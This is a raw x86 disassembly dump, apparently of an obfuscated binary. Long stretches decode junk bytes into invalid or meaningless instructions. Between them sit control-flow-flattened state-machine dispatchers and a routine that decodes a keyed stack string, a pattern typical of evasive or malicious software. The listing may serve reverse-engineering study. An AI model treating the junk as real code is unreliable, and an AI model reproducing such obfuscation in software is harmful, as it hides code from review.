mov edi, 0xc112a41c
inc esp
mov esi, 0x573e20c6
imul ebx, dword [eax + 0x3f], 0x12a41cbf
rol dword [esi + edi*4 - 0x3a], 0x20
push edi
push ecx
nop
int3
sar dword [ebx - 0x3e], cl
int 0x69
push eax
and dword [edi - 7], ebx
out 0xb2, al
invalid
cmp ecx, dword [esi]
sar byte [edi + 0x3e], 0xbf
push es
push eax
and ecx, esi
inc ecx
sal bl, 0x88
dec ebp
pop edx
mov eax, ebp
or byte [ecx], bl
jo 0x67e37e0c
movsb byte es:[edi], byte [esi]
mov esp, eax
leave
dec ecx
sub eax, 0x4fb39c82
dec edx
push edi
in al, dx
pop esi
aas
sub eax, 0xde829574
mov dword [0x838171de], eax
imul byte [ebx]
cmp byte [eax - 0x3de90634], dl
cmovg ebp, dword [esi + eax*4 - 0x72247ba1]
lodsb al, byte [esi]
rcr dword [esi + 0x56cd9c4c], 0x70
frstor dword [eax + 3]
sub eax, 0x59e6dcc9
loop 0x67e37dbb
and cl, byte [edi + 0x49e4c164]
pushfd
das
ljmp 0xa2fb
out dx, al
fidiv dword [ebp + 0xf]
shl dword [eax + 0x6f640a24], 0x66
pop edx
pop ebx
push es
push esi
add byte [esi + 0x21], ah
sub byte [edx], 0x31
pushal
fisub word [eax - 0x433c8e97]
int 0x34
cmp dword [ebx - 0x452744ce], edx
xor al, 0xdf
inc edx
add ecx, dword [edi + ecx*4]
mov bl, 0x44
fisubr word [esi + 0xcd03c87]
clc
adc eax, 0x612f99c1
push 0x9ad2ca2c
or al, 0x46
lodsd eax, dword [esi]
leave
add dword [esi + 0x20], ecx
dec ebp
clc
leave
mov word [esi + ecx - 3], ds
mov esp, 0x459f008a
rcl byte [edx]
test dword [ecx + 0x15a94366], edi
cld
xor bl, ch
pushal
salc
call 0x58ad68c2
nop
int3
mov edi, 0xa1fdcb1e
adc esi, ecx
cmp eax, 0xe7a1387f
ror dword [edi], 1
retf
xchg esp, eax
cld
salc
add al, 0x18
outsd dx, dword [esi]
pop ecx
nop
int3
stosb byte es:[edi], al
mov eax, 0xf388ac44
xor dword [edi], ecx
xchg esp, eax
jp 0x67e38e6a
inc eax
das
aaa
invalid
cmp ebp, dword [edx]
push cs
movsd dword es:[edi], dword [esi]
mov esp, 0x2ed755be
movsd dword es:[edi], dword [esi]
jno 0x67e3944f
jno 0x67e3944f
invalid
out 0xa, eax
sbb eax, 0x47e9cc90
and eax, dword [eax]
add byte [ecx + 8], ah
xchg edi, eax
and byte [esi + eax*4 + 0x7946893], bl
dec ebx
je 0x67e39438
popal
or byte [edi - 0x6c7963e0], dl
push 0x744b0794
ror byte [ebp - 0x31283e28], cl
mov al, dl
pop eax
push ebx
js 0x67e3942d
invalid
scasd eax, dword es:[edi]
fsub dword [ecx + 0x6715c998]
daa
xchg ebp, eax
mov ebp, 0xe289265
out 0x8b, eax
or cl, byte [ebx + 0x15]
invalid
salc
ror byte [ebp - 5], 0x66
cmp dh, byte [eax]
lea ebx, [ebp + 0x7e]
iretd
dec ecx
stc
aas
cli
ficomp dword [edi]
or dh, byte ds:[0x67d03ab6]
cmp byte [ebp - 0x57790978], ah
dec ebp
push 0x57
cmp byte [eax + 0x40], dl
cmc
shr ecx, 1
mov word [ebp - 0x5a3421da], ds
jg 0x67e39ad6
jecxz 0x67e39a09
fisubr dword [edi - 0x99357c5]
sbb byte [esp + ecx*2], bh
adc byte [edi - 0x7b], ah
scasd eax, dword es:[edi]
xor dh, byte [ebp - 0x15fe569f]
retf 0x7112
salc
push cs
arpl word [esp - 0x346b3ad5], bp
inc esp
sub eax, 0x4a2075b9
xlatb
mov ah, 0xc2
wait
mov byte [0x9fc21ba3], al
pushal
ficom word [edi]
mov bh, 0x93
dec ebp
and al, 0xc2
mov ah, 0xa5
adc ecx, ebx
push ebx
fmul qword [esi + ebp*8 + 0x47]
nop
int3
int 0x1e
bnd jmp 0xa431631b
cmp al, byte [ecx - 0x3056c71c]
xchg edi, eax
wait
salc
rcl dword [eax + 0x1ba884cc], 0x42
sub al, 1
mov edi, 0xe79879e7
sub eax, edi
clc
jmp 0x67e39f51
lea esp, [ebx - 0x35]
adc eax, 0x7720b1c5
imul edi, eax, 0x615658e0
jne 0x67e39fa6
jmp 0x8670a903
dec ecx
pop ebx
outsd dx, dword [esi]
pop ss
test byte [edi + 0x66df0b34], ch
pushal
jns 0x67e39fbe
out 0x70, al
or dh, byte [ebp - 0x659b0984]
repne cmpsd dword [esi], dword es:[edi]
pop esp
xchg ebx, eax
adc al, 0xa
lodsd eax, dword [esi]
push esp
outsb dx, byte [esi]
pop esi
pop ecx
test al, 0xdf
sub dword [edx + 0x43], esp
pop ds
cld
jmp 0x67e39ff0
pop edx
pop ecx
insd dword es:[edi], dx
mov dh, 0x19
mov al, byte [0x3938238]
mov dl, 0x60
invalid
mov ecx, 0x198d95d9
test byte [ecx], 0xac
dec edi
das
xchg dword [esp + edx*4], eax
test al, 0xb1
dec ebx
std
scasb al, byte es:[edi]
cmc
mov cl, 0x1b
and dword [edi + 0x58785ab2], esp
inc esp
add dword [ecx + eax*4], esp
pop es
push 0xc7e75659
invalid
cmp byte [edx - 0x336f6732], ah
or eax, 0x5b48b029
sub byte [ebx + 0x6ff11ac5], ch
push esp
jo 0x67e3b195
ret 0xe9bb
pop esp
xor dword [esi], esp
mov dword [0xf21ff5d1], eax
xchg ebp, eax
and dword [0x76f59d90], esp
dec eax
aam 0x3f
xlatb
pop esp
cmp ah, byte [esp + ebx*8 + 0x7c4dd98a]
sahf
mov bl, cl
dec ebp
jl 0x67e3b14f
invalid
idiv byte [ebp - 0x31]
mov esi, 0x378664d2
mov dl, 0xd4
nop
xchg cx, ax
inc edi
and al, 0x98
add dl, bh
mov edi, dword [ebp + 0xb1f5d25]
cmp dl, byte ds:[edx + 0x6ea5511c]
int 0x4d
dec ecx
loop 0x67e3b248
cmp al, 0x15
add byte [eax - 0x78], 8
in eax, dx
xchg ebx, eax
add ebx, 5
cmp esi, esp
je 0x67e3b1f7
pop eax
mov ch, 0x68
fld xword [edx]
sub byte [ecx], al
sbb ch, byte [edi + 0x25a85e28]
jns 0x67e3b1ac
add dword [edx], ebx
scasd eax, dword es:[edi]
sub byte [esi - 0x58], bl
and eax, 0x7eddac79
ret 0x3d2e
fnstsw word [esi - 0x3e]
cmp eax, 0x72bfe903
jb 0x67e3b23e
mov bl, 5
mov ebx, 0x173b0ad1
mov eax, dword [0xa3936ffb]
cli
mov esp, dword [esi + 6]
inc edi
sbb al, 0x63
fsub qword [ebp - 0x70]
int3
mov ebx, 0xc1c7f24c
cmp al, 0x70
push 0x2d0b32d3
das
or al, 0x42
aaa
or ebp, dword [0x37420c2f]
mov ebp, 0xa33f175a
test eax, 0xc15f3734
invalid
nop
jmp 0x67e3b7a0
nop
mov dword [ebp - 0x162], 0x7804533a
mov dword [ebp - 0x15e], 0x553c6938
mov dword [ebp - 0x15a], 0x53247604
mov dword [ebp - 0x156], 0x69647842
mov dword [ebp - 0x152], 0x760d5576
mov dword [ebp - 0x14e], 0x78145330
mov word [ebp - 0x14a], 0
mov dword [ebp - 0x70], 0xb4db4
mov dword [ebp - 0x6c], 0
mov dword [ebp - 0x78], 0xec6c7
mov dword [ebp - 0x74], 0
mov eax, dword [ebp - 0x6c]
imul eax, dword [ebp - 0x78]
mov edx, eax
mov eax, dword [ebp - 0x74]
imul eax, dword [ebp - 0x70]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0x70]
mul dword [ebp - 0x78]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov dword [ebp - 0x80], eax
mov dword [ebp - 0x7c], edx
mov eax, dword [ebp - 0x80]
xor eax, 0x6ba9eec
mov edx, dword [ebp - 0x7c]
xor dl, 0xa7
or eax, edx
je 0x67e430cc
mov edx, 0x6ba9eec
mov eax, 0xa7
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xf33ed
or eax, dword [ebp - 0x7c]
je 0x67e3bb3b
mov edx, 0xf33ed
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xf0299
or eax, dword [ebp - 0x7c]
je 0x67e3de81
mov edx, 0xf0299
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xe8c38
or eax, dword [ebp - 0x7c]
je 0x67e407a8
mov edx, 0xe8c38
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xdb0f1
or eax, dword [ebp - 0x7c]
je 0x67e3d2bf
mov edx, 0xdb0f1
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xd2c99
or eax, dword [ebp - 0x7c]
je 0x67e3ccde
mov edx, 0xd2c99
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xcf0fd
or eax, dword [ebp - 0x7c]
je 0x67e3c11c
mov edx, 0xcf0fd
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xb8f80
or eax, dword [ebp - 0x7c]
je 0x67e41f2c
mov edx, 0xb8f80
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xa7f59
or eax, dword [ebp - 0x7c]
je 0x67e4194b
mov edx, 0xa7f59
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0xa3dce
or eax, dword [ebp - 0x7c]
je 0x67e4136a
mov edx, 0xa3dce
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x9f455
or eax, dword [ebp - 0x7c]
je 0x67e4250d
mov edx, 0x9f455
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x8befb
or eax, dword [ebp - 0x7c]
je 0x67e3d8a0
mov edx, 0x8befb
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x80b38
or eax, dword [ebp - 0x7c]
je 0x67e3ea43
mov edx, 0x80b38
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x7b8a4
or eax, dword [ebp - 0x7c]
je 0x67e3e462
mov edx, 0x7b8a4
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x576cc
or eax, dword [ebp - 0x7c]
je 0x67e3f024
mov edx, 0x576cc
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x51ccf
or eax, dword [ebp - 0x7c]
je 0x67e3c6fd
mov edx, 0x51ccf
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x4b6ca
or eax, dword [ebp - 0x7c]
je 0x67e401c7
mov edx, 0x4b6ca
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x3eb78
or eax, dword [ebp - 0x7c]
je 0x67e42aee
mov edx, 0x3eb78
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
mov eax, dword [ebp - 0x80]
xor eax, 0x3c7da
or eax, dword [ebp - 0x7c]
je 0x67e40d89
mov edx, 0x3c7da
mov eax, 0
cmp edx, dword [ebp - 0x80]
sbb eax, dword [ebp - 0x7c]
jl 0x67e430cf
jne 0x67e3bb13
add byte [ebx - 0x3aca7fbb], cl
adc al, byte [edx]
add byte [ebx], cl
inc ebp
test byte [edi], cl
test cl, al
inc eax
add byte [eax], al
mov eax, dword [ebp - 0x80]
xor eax, 0x212c5
or eax, dword [ebp - 0x7c]
je 0x67e3fbe6
mov eax, dword [ebp - 0x80]
xor eax, 0x2f3e7
or eax, dword [ebp - 0x7c]
je 0x67e3f605
jmp 0x67e430cf
add byte [edi + 0x3eba9ee2], cl
fdiv dword [esi - 3]
cmp edi, dword [0xd85430cb]
jne 0x67e3bba3
idiv dword [0xa6fe7904]
in al, dx
adc al, byte [ebp - 0x73]
jl 0x67e3bb11
pop eax
or eax, 0xa30cb12d
mov gs, word [ebx - 0x17fbe5b2]
out dx, eax
sal byte [ebp + 0x7e], 1
mov al, byte [0xbe5c06c8]
xor al, 0x43
int 0x13
or al, 0xa7
cmp al, 0x9b
invalid
ja 0x67e3bb66
xchg edx, eax
insb byte es:[edi], dx
adc al, 0xcb
call 0x9c78071b
outsd dx, dword [esi]
dec eax
out dx, al
invalid
fsub dword [ebx]
fst dword [ebx]
and dword [ebp - 2], ebx
call 0xea132b57
int3
nop
int3
test eax, 0xf7278aaa
jbe 0x67e3c721
and edx, dword [ebx - 0x5a39ed4c]
add cl, dl
retf 0xc7b5
push 0x8f710b6f
cmp eax, 0x4a181897
pop es
mov ebp, dword [edi - 0x11]
loop 0x67e3c6f6
pop ecx
xchg esi, eax
enter 0xffffffffffffa580, 0x20
ret
lds ebp, [edx + 0x920dbe7]
pop esi
mov dh, 0x76
cmpsb byte [esi], byte es:[edi]
cmp ebp, esi
sar byte [ebx + 0x7c9dae48], 1
pop esp
sub al, byte [edi]
push 0xffffffffffffffd1
std
xor al, 0x22
neg dword [ebx]
iretd
cmp byte [eax + 0x159ce5a2], bh
xor byte [eax], 0xf8
push eax
sbb edx, edx
invalid
retf
invalid
aam 0xa8
pushal
and esi, ebx
ret
cmpsd dword [esi], dword es:[edi]
cmpsb byte [esi], byte es:[edi]
and al, 0x1e
in eax, 0xab
fadd dword [edx - 4]
wait
push ecx
invalid
stosb byte es:[edi], al
xlatb
stosd dword es:[edi], eax
stc
popal
fistp dword [edi]
xor al, 0xab
xchg esp, eax
mul dword [edi - 0x324995bd]
add dword [eax + 0x7901ccae], esp
in eax, 0xfb
push 0xe81fb8f1
jmp 0x4ebaa85a
mov al, 0xc7
xor eax, 0xe4f04489
xor esp, dword [esp + 0x3a029d30]
cmp bh, byte [ebx - 0x535d5e6]
call 0xa57a3930
dec esi
pop ss
mov edx, 0x63c73e1d
pop esp
imul ebp, edx, 0x76
fidivr dword [ecx + 0x3211ad70]
cmp dword [ebx], edi
stosb byte es:[edi], al
sub ebp, 0xffffffd8
test dword [ebx], 0x2cdeeb67
vpminub ymm5, ymm2, ymmword [edx - 0x5a5da956]
stosb byte es:[di], al
add ebx, esi
iretd
lodsd eax, dword [esi]
sbb byte [eax + 0x4da8beaf], al
or ecx, dword [esi + 0x5fc5fbe0]
out dx, eax
nop
mov byte [esi], ah
invalid
shr dword [ebp - 3], 1
lcall 0x6795, 0xcc9077c9
iretd
dec esi
inc esp
call 0x794fe6f3
sbb dword [edi], ebp
insd dword es:[edi], dx
jno 0x67e40156
invalid
jecxz 0x67e407df
fnstcw word [esi]
das
aad 0xf7
invalid
clc
push ss
out 0x8d, eax
inc edx
mov dword [0x2e001362], eax
sbb al, 0xd4
cmp al, 0x40
out 0xf5, eax
mov dl, 0xc0
mov eax, 0x21bdfae8
sbb eax, 0x680046ad
adc dword [ebx - 0x71], 0x12920648
mov bl, 0x25
shl cl, 1
sbb dword [esi], eax
jno 0x67e40774
pop edi
mov al, 0x2d
movsd dword es:[edi], dword [esi]
pop edx
mov dword [0x40c55857], eax
arpl si, ax
repne outsb dx, byte [esi]
mov bl, 0xa3
mov bh, 0x69
nop
int3
cli
push ebp
mov ah, 0xcc
shr ah, cl
pop es
stosd dword es:[edi], eax
and esi, dword [ecx - 0x7dfa173b]
imul edi, dword [ecx - 0x4f6f8f66], 0x5bd673d5
aad 0x73
salc
pop ebx
loop 0x67e40d9d
invalid
popal
rol dx, cl
lodsb al, byte [esi]
insd dword es:[edi], dx
in eax, 0x5f
add edi, eax
fidiv word [eax + 0x37]
push eax
pop edx
nop
in eax, dx
outsd dx, dword [esi]
pushal
dec ebp
push 0xffffffffffffffce
jbe 0x67e4137d
jno 0x67e413ad
xchg edi, eax
enter 0x1ffa, 0xffffffffffffff91
sbb dl, byte [ebx - 0x40]
nop
invalid
mov dl, 0x4a
sub ecx, dword [edi + 0x70]
mov edi, 0xeca84d86
jl 0x67e41427
jno 0x67e4138e
sbb esi, dword fs:[ebp - 0x33723157]
lodsd eax, dword [esi]
ljmp 0xcd6c
jo 0x67e41447
std
cmc
test eax, 0xdd8be20f
nop
int3
invalid
mov al, byte [0xb69824a9]
ret
sbb eax, 0x33a6a1e
movsd dword es:[edi], dword [esi]
dec esp
invalid
or ebp, dword [eax + 0x23]
insd dword es:[edi], dx
outsd dx, dword [esi]
sub al, byte [esi + 0x1a2a7e]
clc
nop
int3
popfd
mov byte [0x4b3392b8], al
mov byte [0xad7b59dc], al
invalid
jge 0x67e42496
jb 0x67e424d2
mov ah, 0x46
push 0xffffffffffffff80
call 0x4df7a117
salc
adc eax, 0x405e1992
push eax
out 0xc, eax
xor dh, 0xea
fbld tbyte [ecx]
lahf
enter 0x35ec, 0x17
adc al, 0x68
push edi
sub bl, ch
movsd dword es:[edi], dword [esi]
sal dword [ecx + 0x67], 0x9e
jno 0x67e4259f
sahf
jno 0x67e42536
inc esi
stosd dword es:[edi], eax
int 0x9b
jge 0x67e4253b
mov al, byte [0xac7426cf]
xchg esi, eax
pop esi
mov gs, ebp
inc esi
xchg ebx, eax
das
lds ecx, [ecx + eax + 0x58]
hlt
scasb al, byte es:[edi]
shr dh, 0x85
sti
mov ah, cl
mov esi, 0x2dc0755e
dec edi
test ch, bh
and edx, dword [eax + ebp*2 - 0x59]
leave
xor byte [edx + ecx*2 - 0x4c], dl
push 0x563972c0
push esi
pop esp
rcr edi, 0x20
jo 0x67e4258d
cmp al, 0xd1
xchg dword [ebx], edx
cwde
std
mov ebx, 0xecda62c6
in al, dx
cmpsb byte [esi], byte es:[edi]
insb byte es:[edi], dx
in al, 0x5b
sbb esp, dword [edx]
and eax, 0xd11588ef
fistp word [edi + 0x2e]
mov eax, dword [0x78661596]
test al, 0x28
movsd dword es:[edi], dword [esi]
je 0x67e42571
daa
ljmp 0x1b84
fnstsw word [edx - 0x5a]
mov ecx, 0x98a2557f
sti
dec esp
nop
int3
mov bh, 0x2c
fldenv gs:[0x1b1dcdd]
loop 0x67e42b51
mov ebx, 0xe7df94e1
outsd dx, dword [esi]
or eax, 0xf5e697dd
test dword [eax - 0x76], esp
ja 0x67e42add
in eax, 0x9d
sub edi, dword [ebp + 0x56]
add ebx, eax
mov dh, bh
sbb eax, 0xa46ade0b
popfd
jo 0x67e42b1d
add bh, byte [edi + 0x48ab88c0]
pushfd
or edx, dword [ebx + edx*8 - 0x58]
out 0xd3, al
outsd dx, dword [esi]
xchg ecx, eax
ror byte [eax + 0xb9c48ab], 0x54
shr dword [eax - 0x6e902c1a], cl
ret
int3
nop
jmp 0x67e430d0
nop
mov dword [esp + 8], str.HSqxViXUhv
mov dword [esp + 4], 0x18
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.67ac19a6
lea eax, [ebp - 0x162]
mov dword [esp], eax
call fcn.67b56de2
test eax, eax
jne 0x67e59468
mov dword [ebp - 0xa0], 0x62d91
mov dword [ebp - 0x9c], 0
mov dword [ebp - 0xa8], 0xcb7ae
mov dword [ebp - 0xa4], 0
mov eax, dword [ebp - 0x9c]
imul eax, dword [ebp - 0xa8]
mov edx, eax
mov eax, dword [ebp - 0xa4]
imul eax, dword [ebp - 0xa0]
lea ecx, [edx + eax]
mov eax, dword [ebp - 0xa0]
mul dword [ebp - 0xa8]
add ecx, edx
mov edx, ecx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov dword [ebp - 0xb0], eax
mov dword [ebp - 0xac], edx
mov eax, dword [ebp - 0xb0]
xor eax, 0x91919f8e
mov edx, dword [ebp - 0xac]
xor edx, 0x4e
or eax, edx
je 0x67e49ed9
mov edx, 0x91919f8e
mov eax, 0x4e
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xefa9b
or eax, dword [ebp - 0xac]
je 0x67e4526f
mov edx, 0xefa9b
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xeec00
or eax, dword [ebp - 0xac]
je 0x67e47b96
mov edx, 0xeec00
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xd62cf
or eax, dword [ebp - 0xac]
je 0x67e44c8e
mov edx, 0xd62cf
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xbf7a4
or eax, dword [ebp - 0xac]
je 0x67e45850
mov edx, 0xbf7a4
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xb8dc9
or eax, dword [ebp - 0xac]
je 0x67e43aeb
mov edx, 0xb8dc9
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0xa461d
or eax, dword [ebp - 0xac]
je 0x67e469f3
mov edx, 0xa461d
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x9c9f3
or eax, dword [ebp - 0xac]
je 0x67e48758
mov edx, 0x9c9f3
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x9a7cf
or eax, dword [ebp - 0xac]
je 0x67e4931a
mov edx, 0x9a7cf
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x91ee1
or eax, dword [ebp - 0xac]
je 0x67e48177
mov edx, 0x91ee1
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x8d1bc
or eax, dword [ebp - 0xac]
je 0x67e446ad
mov edx, 0x8d1bc
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x7b8f8
or eax, dword [ebp - 0xac]
je 0x67e475b5
mov edx, 0x7b8f8
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x6d012
or eax, dword [ebp - 0xac]
je 0x67e46fd4
mov edx, 0x6d012
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x6289f
or eax, dword [ebp - 0xac]
je 0x67e498fb
mov edx, 0x6289f
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x5aa65
or eax, dword [ebp - 0xac]
je 0x67e48d39
mov edx, 0x5aa65
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x54a52
or eax, dword [ebp - 0xac]
je 0x67e46412
mov edx, 0x54a52
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x53cba
or eax, dword [ebp - 0xac]
je 0x67e4350a
mov edx, 0x53cba
mov eax, 0
cmp edx, dword [ebp - 0xb0]
sbb eax, dword [ebp - 0xac]
jl 0x67e49edc
mov eax, dword [ebp - 0xb0]
xor eax, 0x2e37
or eax, dword [ebp - 0xac]
je 0x67e45e31
mov eax, dword [ebp - 0xb0]
xor eax, 0x139bb
or eax, dword [ebp - 0xac]
je 0x67e440cc
jmp 0x67e49edc
bnd je 0x67e434d7
bswap edx
lds eax, [ebx + 0x3bea8b7]
inc ebx
push es
adc ebp, dword [edi]
invalid
sti
stc
push es
invalid
push edi
dec edx
add al, bh
mov ebp, 0x62459b51
mov dword [ebx - 0x35], esp
mov esp, ss
mul byte [ecx - 0x3b]
and edi, dword [0x41324922]
sti
and dl, byte [ebx + 0x3e]
and ebx, edi
cld
and esp, ebx
invalid
aad 0x13
sahf
lodsd eax, dword [esi]
push es
cmpsd dword [esi], dword es:[edi]
cmp byte [ebp + 0x7a], dl
or byte [edx + ebp*4 - 0x2f3d3616], ch
rcl dword [ebx]
into
mov ecx, 0x20a3cec0
hlt
out 0xfb, al
or eax, 0xcc90315a
pop es
sub al, 0x51
xor byte [eax], dl
int1
adc cl, byte [ebx + 0x2f49c8f7]
add byte [ecx - 0x75], 0x39
or bl, byte [esi + 0x74]
mov bl, 0x64
lodsb al, byte [esi]
pop es
ficomp word [ecx + 0x23]
inc ebp
sal dword [ebx], cl
jno 0x67e44c7a
lds edx, [edx + ebx + 0x1b]
sbb dword [edi + 0x43c4eb7f], edi
mov ebp, fs
or eax, eax
jge 0x67e44c6d
push ss
jecxz 0x67e44c56
inc esp
loope 0x67e44cbd
cmp al, 8
shr byte [esi + 0x26], 0xe9
imul edx, dword [ebp - 0x70c581fd], 0x2c8768aa
ficomp dword [eax]
dec ecx
jg 0x67e44ce8
sub ch, bl
fld dword [esi]
mov edi, 0xca11c80
xchg esp, eax
xchg byte [ebx + 0x2b85eddc], bh
mov eax, dword [0xbb86940c]
fsub st(5), st(0)
test dword [ebx], ebp
pop es
or al, 0xc7
mov ch, 0x90
int3
sub byte [eax - 0x34bee043], cl
cli
out dx, al
fcmovne st(0), st(1)
sub al, 0x12
jo 0x67e44c1d
adc byte [eax + edi], dh
invalid
invalid
mov ebx, 0x99287ed8
movsd dword es:[edi], dword [esi]
xchg byte [eax - 0x1c], al
mov edi, 0x6f118b02
jb 0x67e44cb7
push cs
xor eax, dword [ecx + 0x677535a]
add byte [ebp + 0x7b5c0561], 0x37
mov dl, 0x1c
invalid
clc
jns 0x67e44cef
movsd dword es:[di], dword [si]
in eax, dx
adc ch, byte [ebx]
nop
int3
sub edx, dword [eax - 0x18cdb334]
out dx, al
aas
sbb bl, dl
and bh, byte [edi]
sub dword [edx + esi], 0xffffff8e
in eax, 0xab
aad 0x38
lcall 0x71e9, 0x3ad0dc52
xor ebp, dword [ebx + 0x4b]
jge 0x67e44caf
pop esp
adc eax, 0x6bdbbdb7
outsb dx, byte [esi]
jmp 0x51a2f59
xchg ecx, eax
cmpsd dword [esi], dword es:[edi]
push edx
adc al, 0x2f
test dword [ecx - 0x57fdbfb5], edx
xchg edi, eax
jne 0x67e452d3
lcall 0x72e7, 0x8580ea78
pop es
invalid
insb byte es:[edi], dx
fild word [esi + 0x1b]
mov al, byte [0xe9dc4708]
inc esi
test dword [ebx + esi - 0x7a2ab082], ebx
ret
push 0x35594162
inc ecx
or cl, byte [edi]
push ecx
xchg ecx, eax
mov byte [0x9ce069ee], al
invalid
add al, byte [edi + 0x208c2062]
dec edi
mov esi, dword [eax + ebx*8 - 0xe6d052e]
and al, byte [edi - 0x48a611ca]
push edi
pop esp
test dword [ebx], ebp
adc dword [edx], eax
add esp, dword [ebp + 0x2c]
adc ch, byte [eax - 0x38]
adc dl, dl
cmp ecx, dword [ecx]
mov dl, 0xf7
shl byte [edx + 0x263624c], 1
inc edi
sub al, ch
int3
inc edi
cmp dword [eax], ebp
mov bh, 0x55
pop ebx
invalid
inc ecx
test al, 0x5a
or eax, 0xd7a411d0
scasd eax, dword es:[edi]
push esi
add al, 0x26
cmp ecx, edx
add ah, bl
fcom dword [edi + 0x58]
mov byte [esi], 0xd1
int3
sub al, 0x4b
or eax, 0xf5f03411
sbb al, 0xad
cmp ebp, dword [eax]
out dx, al
jno 0x67e47043
loope 0x67e47023
jle 0x67e47000
inc ebx
rol byte [esp + edi*8], cl
mov dh, 0x23
loope 0x67e46fe6
mov bh, byte [edi + 0x2edd438c]
lodsd eax, dword [esi]
mov ah, byte [ebx - 0x13eddf8a]
sub eax, 0x3f202499
lcall 0x4e39, 0x6b0be5b8
inc edx
sbb esp, edx
pop esp
sti
clc
